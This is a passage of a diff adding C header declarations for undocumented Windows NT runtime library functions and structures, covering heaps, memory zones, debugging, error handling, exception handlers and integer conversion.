_Out_opt_ PUNICODE_STRING StaticString, + _Out_opt_ PUNICODE_STRING DynamicString, + _Out_opt_ PCUNICODE_STRING *FullFileNameOut, + _Out_opt_ SIZE_T *FilePartPrefixCch, + _Out_opt_ SIZE_T *BytesRequired + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDoesFileExists_U( + _In_ PCWSTR FileName + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLengthWithoutLastFullDosOrNtPathElement( + _Reserved_ ULONG Flags, + _In_ PUNICODE_STRING PathString, + _Out_ PULONG Length + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLengthWithoutTrailingPathSeperators( + _Reserved_ ULONG Flags, + _In_ PUNICODE_STRING PathString, + _Out_ PULONG Length + ); + +typedef struct _GENERATE_NAME_CONTEXT +{ + USHORT Checksum; + BOOLEAN CheckSumInserted; + UCHAR NameLength; + WCHAR NameBuffer[8]; + ULONG ExtensionLength; + WCHAR ExtensionBuffer[4]; + ULONG LastIndexValue; +} GENERATE_NAME_CONTEXT, *PGENERATE_NAME_CONTEXT; + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlGenerate8dot3Name( + _In_ PUNICODE_STRING Name, + _In_ BOOLEAN AllowExtendedCharacters, + _In_ PGENERATE_NAME_CONTEXT Context, + _Out_ PUNICODE_STRING Name8dot3 + ); + +#if (PHNT_VERSION >= PHNT_WIN8) + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlComputePrivatizedDllName_U( + _In_ PUNICODE_STRING DllName, + _Out_ PUNICODE_STRING RealName, + _Out_ PUNICODE_STRING LocalName + ); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlGetSearchPath( + _Out_ PWSTR *SearchPath + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSearchPathMode( + _In_ ULONG Flags + ); + +// rev +NTSYSAPI +PWSTR +NTAPI +RtlGetExePath( + VOID + ); + +#endif + +#if (PHNT_VERSION >= PHNT_REDSTONE2) + +// private +NTSYSAPI +PWSTR +NTAPI +RtlGetNtSystemRoot( + VOID + ); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlAreLongPathsEnabled( + VOID + ); + +#endif + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsThreadWithinLoaderCallout( + VOID + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDllShutdownInProgress( + VOID + ); + +// Heaps + +typedef struct _RTL_HEAP_ENTRY +{ + SIZE_T Size; + USHORT Flags; + USHORT AllocatorBackTraceIndex; + union + { + struct + { + SIZE_T Settable; + ULONG Tag; + } s1; + struct + { + SIZE_T CommittedSize; + PVOID FirstBlock; + } s2; + } u; +} RTL_HEAP_ENTRY, *PRTL_HEAP_ENTRY; + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00e0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +typedef struct _RTL_HEAP_TAG +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[24]; +} RTL_HEAP_TAG, *PRTL_HEAP_TAG; + +typedef struct _RTL_HEAP_INFORMATION +{ + PVOID BaseAddress; + ULONG Flags; + USHORT EntryOverhead; + USHORT CreatorBackTraceIndex; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + ULONG NumberOfTags; + ULONG NumberOfEntries; + ULONG NumberOfPseudoTags; + ULONG PseudoTagGranularity; + ULONG Reserved[5]; + PRTL_HEAP_TAG Tags; + PRTL_HEAP_ENTRY Entries; +} RTL_HEAP_INFORMATION, *PRTL_HEAP_INFORMATION; + +typedef struct _RTL_PROCESS_HEAPS +{ + ULONG NumberOfHeaps; + RTL_HEAP_INFORMATION Heaps[1]; +} RTL_PROCESS_HEAPS, *PRTL_PROCESS_HEAPS; + +typedef NTSTATUS (NTAPI *PRTL_HEAP_COMMIT_ROUTINE)( + _In_ PVOID Base, + _Inout_ PVOID *CommitAddress, + _Inout_ PSIZE_T CommitSize + ); + +typedef struct _RTL_HEAP_PARAMETERS +{ + ULONG Length; + SIZE_T SegmentReserve; + SIZE_T SegmentCommit; + SIZE_T DeCommitFreeBlockThreshold; + SIZE_T DeCommitTotalFreeThreshold; + SIZE_T MaximumAllocationSize; + SIZE_T VirtualMemoryThreshold; + SIZE_T InitialCommit; + SIZE_T InitialReserve; + PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; + SIZE_T Reserved[2]; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + +#define HEAP_SETTABLE_USER_VALUE 0x00000100 +#define HEAP_SETTABLE_USER_FLAG1 0x00000200 +#define HEAP_SETTABLE_USER_FLAG2 0x00000400 +#define HEAP_SETTABLE_USER_FLAG3 0x00000800 +#define HEAP_SETTABLE_USER_FLAGS 0x00000e00 + +#define HEAP_CLASS_0 0x00000000 // Process heap +#define HEAP_CLASS_1 0x00001000 // Private heap +#define HEAP_CLASS_2 0x00002000 // Kernel heap +#define HEAP_CLASS_3 0x00003000 // GDI heap +#define HEAP_CLASS_4 0x00004000 // User heap +#define HEAP_CLASS_5 0x00005000 // Console heap +#define HEAP_CLASS_6 0x00006000 // User desktop heap +#define HEAP_CLASS_7 0x00007000 // CSR shared heap +#define HEAP_CLASS_8 0x00008000 // CSR port heap +#define HEAP_CLASS_MASK 0x0000f000 + +NTSYSAPI +PVOID +NTAPI +RtlCreateHeap( + _In_ ULONG Flags, + _In_opt_ PVOID HeapBase, + _In_opt_ SIZE_T ReserveSize, + _In_opt_ SIZE_T CommitSize, + _In_opt_ PVOID Lock, + _In_opt_ PRTL_HEAP_PARAMETERS Parameters + ); + +NTSYSAPI +PVOID +NTAPI +RtlDestroyHeap( + _Frees_ptr_ PVOID HeapHandle + ); + +NTSYSAPI +PVOID +NTAPI +RtlAllocateHeap( + _In_ PVOID HeapHandle, + _In_opt_ ULONG Flags, + _In_ SIZE_T Size + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHeap( + _In_ PVOID HeapHandle, + _In_opt_ ULONG Flags, + _Frees_ptr_opt_ PVOID BaseAddress + ); + +NTSYSAPI +SIZE_T +NTAPI +RtlSizeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlZeroHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags + ); + +NTSYSAPI +VOID +NTAPI +RtlProtectHeap( + _In_ PVOID HeapHandle, + _In_ BOOLEAN MakeReadOnly + ); + +#define RtlProcessHeap() (NtCurrentPeb()->ProcessHeap) + +NTSYSAPI +BOOLEAN +NTAPI +RtlLockHeap( + _In_ PVOID HeapHandle + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlUnlockHeap( + _In_ PVOID HeapHandle + ); + +NTSYSAPI +PVOID +NTAPI +RtlReAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _Frees_ptr_opt_ PVOID BaseAddress, + _In_ SIZE_T Size + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlGetUserInfoHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _Out_opt_ PVOID *UserValue, + _Out_opt_ PULONG UserFlags + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlSetUserValueHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ PVOID UserValue + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlSetUserFlagsHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ ULONG UserFlagsReset, + _In_ ULONG UserFlagsSet + ); + +typedef struct _RTL_HEAP_TAG_INFO +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; +} RTL_HEAP_TAG_INFO, *PRTL_HEAP_TAG_INFO; + +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS + +NTSYSAPI +ULONG +NTAPI +RtlCreateTagHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_opt_ PWSTR TagPrefix, + _In_ PWSTR TagNames + ); + +NTSYSAPI +PWSTR +NTAPI +RtlQueryTagHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ USHORT TagIndex, + _In_ BOOLEAN ResetCounters, + _Out_opt_ PRTL_HEAP_TAG_INFO TagInfo + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlExtendHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID Base, + _In_ SIZE_T Size + ); + +NTSYSAPI +SIZE_T +NTAPI +RtlCompactHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidateProcessHeaps( + VOID + ); + +NTSYSAPI +ULONG +NTAPI +RtlGetProcessHeaps( + _In_ ULONG NumberOfHeaps, + _Out_ PVOID *ProcessHeaps + ); + +typedef NTSTATUS (NTAPI *PRTL_ENUM_HEAPS_ROUTINE)( + _In_ PVOID HeapHandle, + _In_ PVOID Parameter + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnumProcessHeaps( + _In_ PRTL_ENUM_HEAPS_ROUTINE EnumRoutine, + _In_ PVOID Parameter + ); + +typedef struct _RTL_HEAP_USAGE_ENTRY +{ + struct _RTL_HEAP_USAGE_ENTRY *Next; + PVOID Address; + SIZE_T Size; + USHORT AllocatorBackTraceIndex; + USHORT TagIndex; +} RTL_HEAP_USAGE_ENTRY, *PRTL_HEAP_USAGE_ENTRY; + +typedef struct _RTL_HEAP_USAGE +{ + ULONG Length; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + SIZE_T BytesReserved; + SIZE_T BytesReservedMaximum; + PRTL_HEAP_USAGE_ENTRY Entries; + PRTL_HEAP_USAGE_ENTRY AddedEntries; + PRTL_HEAP_USAGE_ENTRY RemovedEntries; + ULONG_PTR Reserved[8]; +} RTL_HEAP_USAGE, *PRTL_HEAP_USAGE; + +#define HEAP_USAGE_ALLOCATED_BLOCKS HEAP_REALLOC_IN_PLACE_ONLY +#define HEAP_USAGE_FREE_BUFFER HEAP_ZERO_MEMORY + +NTSYSAPI +NTSTATUS +NTAPI +RtlUsageHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _Inout_ PRTL_HEAP_USAGE Usage + ); + +typedef struct _RTL_HEAP_WALK_ENTRY +{ + PVOID DataAddress; + SIZE_T DataSize; + UCHAR OverheadBytes; + UCHAR SegmentIndex; + USHORT Flags; + union + { + struct + { + SIZE_T Settable; + USHORT TagIndex; + USHORT AllocatorBackTraceIndex; + ULONG Reserved[2]; + } Block; + struct + { + ULONG CommittedSize; + ULONG UnCommittedSize; + PVOID FirstEntry; + PVOID LastEntry; + } Segment; + }; +} RTL_HEAP_WALK_ENTRY, *PRTL_HEAP_WALK_ENTRY; + +NTSYSAPI +NTSTATUS +NTAPI +RtlWalkHeap( + _In_ PVOID HeapHandle, + _Inout_ PRTL_HEAP_WALK_ENTRY Entry + ); + +// HEAP_INFORMATION_CLASS +#define HeapCompatibilityInformation 0x0 // q; s: ULONG +#define HeapEnableTerminationOnCorruption 0x1 // q; s: NULL +#define HeapExtendedInformation 0x2 // q; s: HEAP_EXTENDED_INFORMATION +#define HeapOptimizeResources 0x3 // q; s: HEAP_OPTIMIZE_RESOURCES_INFORMATION +#define HeapTaggingInformation 0x4 +#define HeapStackDatabase 0x5 +#define HeapMemoryLimit 0x6 // 19H2 +#define HeapDetailedFailureInformation 0x80000001 +#define HeapSetDebuggingInformation 0x80000002 // q; s: HEAP_DEBUGGING_INFORMATION + +typedef enum _HEAP_COMPATIBILITY_MODE +{ + HEAP_COMPATIBILITY_STANDARD = 0UL, + HEAP_COMPATIBILITY_LAL = 1UL, + HEAP_COMPATIBILITY_LFH = 2UL, +} HEAP_COMPATIBILITY_MODE; + +typedef struct _PROCESS_HEAP_INFORMATION +{ + ULONG_PTR ReserveSize; + ULONG_PTR CommitSize; + ULONG NumberOfHeaps; + ULONG_PTR FirstHeapInformationOffset; +} PROCESS_HEAP_INFORMATION, *PPROCESS_HEAP_INFORMATION; + +typedef struct _HEAP_INFORMATION +{ + ULONG_PTR Address; + ULONG Mode; + ULONG_PTR ReserveSize; + ULONG_PTR CommitSize; + ULONG_PTR FirstRegionInformationOffset; + ULONG_PTR NextHeapInformationOffset; +} HEAP_INFORMATION, *PHEAP_INFORMATION; + +typedef struct _HEAP_EXTENDED_INFORMATION +{ + HANDLE Process; + ULONG_PTR Heap; + ULONG Level; + PVOID CallbackRoutine; + PVOID CallbackContext; + union + { + PROCESS_HEAP_INFORMATION ProcessHeapInformation; + HEAP_INFORMATION HeapInformation; + }; +} HEAP_EXTENDED_INFORMATION, *PHEAP_EXTENDED_INFORMATION; + +// rev +typedef NTSTATUS (NTAPI *PRTL_HEAP_LEAK_ENUMERATION_ROUTINE)( + _In_ LONG Reserved, + _In_ PVOID HeapHandle, + _In_ PVOID BaseAddress, + _In_ SIZE_T BlockSize, + _In_ ULONG StackTraceDepth, + _In_ PVOID *StackTrace + ); + +// symbols +typedef struct _HEAP_DEBUGGING_INFORMATION +{ + PVOID InterceptorFunction; + USHORT InterceptorValue; + ULONG ExtendedOptions; + ULONG StackTraceDepth; + SIZE_T MinTotalBlockSize; + SIZE_T MaxTotalBlockSize; + PRTL_HEAP_LEAK_ENUMERATION_ROUTINE HeapLeakEnumerationRoutine; +} HEAP_DEBUGGING_INFORMATION, *PHEAP_DEBUGGING_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryHeapInformation( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _Out_opt_ PVOID HeapInformation, + _In_opt_ SIZE_T HeapInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetHeapInformation( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _In_opt_ PVOID HeapInformation, + _In_opt_ SIZE_T HeapInformationLength + ); + +NTSYSAPI +ULONG +NTAPI +RtlMultipleAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ SIZE_T Size, + _In_ ULONG Count, + _Out_ PVOID *Array + ); + +NTSYSAPI +ULONG +NTAPI +RtlMultipleFreeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ ULONG Count, + _In_ PVOID *Array + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSAPI +VOID +NTAPI +RtlDetectHeapLeaks( + VOID + ); +#endif + +NTSYSAPI +VOID +NTAPI +RtlFlushHeaps( + VOID + ); + +// Memory zones + +// begin_private + +typedef struct _RTL_MEMORY_ZONE_SEGMENT +{ + struct _RTL_MEMORY_ZONE_SEGMENT *NextSegment; + SIZE_T Size; + PVOID Next; + PVOID Limit; +} RTL_MEMORY_ZONE_SEGMENT, *PRTL_MEMORY_ZONE_SEGMENT; + +typedef struct _RTL_MEMORY_ZONE +{ + RTL_MEMORY_ZONE_SEGMENT Segment; + RTL_SRWLOCK Lock; + ULONG LockCount; + PRTL_MEMORY_ZONE_SEGMENT FirstSegment; +} RTL_MEMORY_ZONE, *PRTL_MEMORY_ZONE; + +#if (PHNT_VERSION >= PHNT_VISTA) + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateMemoryZone( + _Out_ PVOID *MemoryZone, + _In_ SIZE_T InitialSize, + _Reserved_ ULONG Flags + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyMemoryZone( + _In_ _Post_invalid_ PVOID MemoryZone + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateMemoryZone( + _In_ PVOID MemoryZone, + _In_ SIZE_T BlockSize, + _Out_ PVOID *Block + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlResetMemoryZone( + _In_ PVOID MemoryZone + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLockMemoryZone( + _In_ PVOID MemoryZone + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockMemoryZone( + _In_ PVOID MemoryZone + ); + +#endif + +// end_private + +// Memory block lookaside lists + +// begin_private + +#if (PHNT_VERSION >= PHNT_VISTA) + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateMemoryBlockLookaside( + _Out_ PVOID *MemoryBlockLookaside, + _Reserved_ ULONG Flags, + _In_ ULONG InitialSize, + _In_ ULONG MinimumBlockSize, + _In_ ULONG MaximumBlockSize + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside, + _In_ ULONG BlockSize, + _Out_ PVOID *Block + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside, + _In_ PVOID Block + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlExtendMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside, + _In_ ULONG Increment + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlResetMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLockMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside + ); + +#endif + +// end_private + +// Transactions + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +HANDLE +NTAPI +RtlGetCurrentTransaction( + VOID + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +LOGICAL +NTAPI +RtlSetCurrentTransaction( + _In_ HANDLE TransactionHandle + ); +#endif + +// LUIDs + +FORCEINLINE BOOLEAN RtlIsEqualLuid( // RtlEqualLuid + _In_ PLUID L1, + _In_ PLUID L2 + ) +{ + return L1->LowPart == L2->LowPart && + L1->HighPart == L2->HighPart; +} + +FORCEINLINE BOOLEAN RtlIsZeroLuid( + _In_ PLUID L1 + ) +{ + return (L1->LowPart | L1->HighPart) == 0; +} + +FORCEINLINE LUID RtlConvertLongToLuid( + _In_ LONG Long + ) +{ + LUID tempLuid; + LARGE_INTEGER tempLi; + + tempLi.QuadPart = Long; + tempLuid.LowPart = tempLi.LowPart; + tempLuid.HighPart = tempLi.HighPart; + + return tempLuid; +} + +FORCEINLINE LUID RtlConvertUlongToLuid( + _In_ ULONG Ulong + ) +{ + LUID tempLuid; + + tempLuid.LowPart = Ulong; + tempLuid.HighPart = 0; + + return tempLuid; +} + +NTSYSAPI +VOID +NTAPI +RtlCopyLuid( + _Out_ PLUID DestinationLuid, + _In_ PLUID SourceLuid + ); + +// ros +NTSYSAPI +VOID +NTAPI +RtlCopyLuidAndAttributesArray( + _In_ ULONG Count, + _In_ PLUID_AND_ATTRIBUTES Src, + _In_ PLUID_AND_ATTRIBUTES Dest + ); + +// Byte swap routines. + +#ifndef PHNT_RTL_BYTESWAP +#define RtlUshortByteSwap(_x) _byteswap_ushort((USHORT)(_x)) +#define RtlUlongByteSwap(_x) _byteswap_ulong((_x)) +#define RtlUlonglongByteSwap(_x) _byteswap_uint64((_x)) +#else +NTSYSAPI +USHORT +FASTCALL +RtlUshortByteSwap( + _In_ USHORT Source + ); + +NTSYSAPI +ULONG +FASTCALL +RtlUlongByteSwap( + _In_ ULONG Source + ); + +NTSYSAPI +ULONGLONG +FASTCALL +RtlUlonglongByteSwap( + _In_ ULONGLONG Source + ); +#endif + +// Debugging + +// private +typedef struct _RTL_PROCESS_VERIFIER_OPTIONS +{ + ULONG SizeStruct; + ULONG Option; + UCHAR OptionData[1]; +} RTL_PROCESS_VERIFIER_OPTIONS, *PRTL_PROCESS_VERIFIER_OPTIONS; + +// private +typedef struct _RTL_DEBUG_INFORMATION +{ + HANDLE SectionHandleClient; + PVOID ViewBaseClient; + PVOID ViewBaseTarget; + ULONG_PTR ViewBaseDelta; + HANDLE EventPairClient; + HANDLE EventPairTarget; + HANDLE TargetProcessId; + HANDLE TargetThreadHandle; + ULONG Flags; + SIZE_T OffsetFree; + SIZE_T CommitSize; + SIZE_T ViewSize; + union + { + struct _RTL_PROCESS_MODULES *Modules; + struct _RTL_PROCESS_MODULE_INFORMATION_EX *ModulesEx; + }; + struct _RTL_PROCESS_BACKTRACES *BackTraces; + struct _RTL_PROCESS_HEAPS *Heaps; + struct _RTL_PROCESS_LOCKS *Locks; + PVOID SpecificHeap; + HANDLE TargetProcessHandle; + PRTL_PROCESS_VERIFIER_OPTIONS VerifierOptions; + PVOID ProcessHeap; + HANDLE CriticalSectionHandle; + HANDLE CriticalSectionOwnerThread; + PVOID Reserved[4]; +} RTL_DEBUG_INFORMATION, *PRTL_DEBUG_INFORMATION; + +NTSYSAPI +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + _In_opt_ ULONG MaximumCommit, + _In_ BOOLEAN UseEventPair + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyQueryDebugBuffer( + _In_ PRTL_DEBUG_INFORMATION Buffer + ); + +#if (PHNT_VERSION >= PHNT_VISTA) + +// private +NTSYSAPI +PVOID +NTAPI +RtlCommitDebugInfo( + _Inout_ PRTL_DEBUG_INFORMATION Buffer, + _In_ SIZE_T Size + ); + +// private +NTSYSAPI +VOID +NTAPI +RtlDeCommitDebugInfo( + _Inout_ PRTL_DEBUG_INFORMATION Buffer, + _In_ PVOID p, + _In_ SIZE_T Size + ); + +#endif + +#define RTL_QUERY_PROCESS_MODULES 0x00000001 +#define RTL_QUERY_PROCESS_BACKTRACES 0x00000002 +#define RTL_QUERY_PROCESS_HEAP_SUMMARY 0x00000004 +#define RTL_QUERY_PROCESS_HEAP_TAGS 0x00000008 +#define RTL_QUERY_PROCESS_HEAP_ENTRIES 0x00000010 +#define RTL_QUERY_PROCESS_LOCKS 0x00000020 +#define RTL_QUERY_PROCESS_MODULES32 0x00000040 +#define RTL_QUERY_PROCESS_VERIFIER_OPTIONS 0x00000080 // rev +#define RTL_QUERY_PROCESS_MODULESEX 0x00000100 // rev +#define RTL_QUERY_PROCESS_HEAP_ENTRIES_EX 0x00000200 // ? +#define RTL_QUERY_PROCESS_CS_OWNER 0x00000400 // rev +#define RTL_QUERY_PROCESS_NONINVASIVE 0x80000000 + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + _In_ HANDLE UniqueProcessId, + _In_ ULONG Flags, + _Inout_ PRTL_DEBUG_INFORMATION Buffer + ); + +// Messages + +NTSYSAPI +NTSTATUS +NTAPI +RtlFindMessage( + _In_ PVOID DllHandle, + _In_ ULONG MessageTableId, + _In_ ULONG MessageLanguageId, + _In_ ULONG MessageId, + _Out_ PMESSAGE_RESOURCE_ENTRY *MessageEntry + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatMessage( + _In_ PWSTR MessageFormat, + _In_ ULONG MaximumWidth, + _In_ BOOLEAN IgnoreInserts, + _In_ BOOLEAN ArgumentsAreAnsi, + _In_ BOOLEAN ArgumentsAreAnArray, + _In_ va_list *Arguments, + _Out_writes_bytes_to_(Length, *ReturnLength) PWSTR Buffer, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength + ); + +typedef struct _PARSE_MESSAGE_CONTEXT +{ + ULONG fFlags; + ULONG cwSavColumn; + SIZE_T iwSrc; + SIZE_T iwDst; + SIZE_T iwDstSpace; + va_list lpvArgStart; +} PARSE_MESSAGE_CONTEXT, *PPARSE_MESSAGE_CONTEXT; + +#define INIT_PARSE_MESSAGE_CONTEXT(ctx) { (ctx)->fFlags = 0; } +#define TEST_PARSE_MESSAGE_CONTEXT_FLAG(ctx, flag) ((ctx)->fFlags & (flag)) +#define SET_PARSE_MESSAGE_CONTEXT_FLAG(ctx, flag) ((ctx)->fFlags |= (flag)) +#define CLEAR_PARSE_MESSAGE_CONTEXT_FLAG(ctx, flag) ((ctx)->fFlags &= ~(flag)) + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatMessageEx( + _In_ PWSTR MessageFormat, + _In_ ULONG MaximumWidth, + _In_ BOOLEAN IgnoreInserts, + _In_ BOOLEAN ArgumentsAreAnsi, + _In_ BOOLEAN ArgumentsAreAnArray, + _In_ va_list *Arguments, + _Out_writes_bytes_to_(Length, *ReturnLength) PWSTR Buffer, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength, + _Out_opt_ PPARSE_MESSAGE_CONTEXT ParseContext + ); + +// Errors + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosError( + _In_ NTSTATUS Status + ); + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb( + _In_ NTSTATUS Status + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLastNtStatus( + VOID + ); + +NTSYSAPI +LONG +NTAPI +RtlGetLastWin32Error( + VOID + ); + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + _In_ NTSTATUS Status + ); + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32Error( + _In_ LONG Win32Error + ); + +NTSYSAPI +VOID +NTAPI +RtlRestoreLastWin32Error( + _In_ LONG Win32Error + ); + +#define RTL_ERRORMODE_FAILCRITICALERRORS 0x0010 +#define RTL_ERRORMODE_NOGPFAULTERRORBOX 0x0020 +#define RTL_ERRORMODE_NOOPENFILEERRORBOX 0x0040 + +NTSYSAPI +ULONG +NTAPI +RtlGetThreadErrorMode( + VOID + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetThreadErrorMode( + _In_ ULONG NewMode, + _Out_opt_ PULONG OldMode + ); + +// Windows Error Reporting + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlReportException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ ULONG Flags + ); +#endif + +#if (PHNT_VERSION >= PHNT_REDSTONE) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlReportExceptionEx( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ ULONG Flags, + _In_ PLARGE_INTEGER Timeout + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlWerpReportException( + _In_ ULONG ProcessId, + _In_ HANDLE CrashReportSharedMem, + _In_ ULONG Flags, + _Out_ PHANDLE CrashVerticalProcessHandle + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlReportSilentProcessExit( + _In_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus + ); +#endif + +// Vectored Exception Handlers + +NTSYSAPI +PVOID +NTAPI +RtlAddVectoredExceptionHandler( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler + ); + +NTSYSAPI +ULONG +NTAPI +RtlRemoveVectoredExceptionHandler( + _In_ PVOID Handle + ); + +NTSYSAPI +PVOID +NTAPI +RtlAddVectoredContinueHandler( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler + ); + +NTSYSAPI +ULONG +NTAPI +RtlRemoveVectoredContinueHandler( + _In_ PVOID Handle + ); + +// Random + +NTSYSAPI +ULONG +NTAPI +RtlUniform( + _Inout_ PULONG Seed + ); + +NTSYSAPI +ULONG +NTAPI +RtlRandom( + _Inout_ PULONG Seed + ); + +NTSYSAPI +ULONG +NTAPI +RtlRandomEx( + _Inout_ PULONG Seed + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlComputeImportTableHash( + _In_ HANDLE FileHandle, + _Out_writes_bytes_(16) PCHAR Hash, + _In_ ULONG ImportTableHashRevision // must be 1 + ); + +// Integer conversion + +NTSYSAPI +NTSTATUS +NTAPI +RtlIntegerToChar( + _In_ ULONG Value, + _In_opt_ ULONG Base, + _In_ LONG OutputLength, // negative to pad to width + _Out_ PSTR String + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCharToInteger( + _In_ PCSTR String, + _In_opt_ ULONG Base, + _Out_ PULONG Value + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLargeIntegerToChar( + _In_ PLARGE_INTEGER Value, + _In_opt_ ULONG Base, + _In_ LONG OutputLength, + _Out_ PSTR String + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIntegerToUnicodeString( + _In_ ULONG Value, + _In_opt_ ULONG Base, + _Inout_ PUNICODE_STRING String + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlInt64ToUnicodeString( + _In_ ULONGLONG Value, + _In_opt_ ULONG Base, + _Inout_ PUNICODE_STRING String + ); + +#ifdef 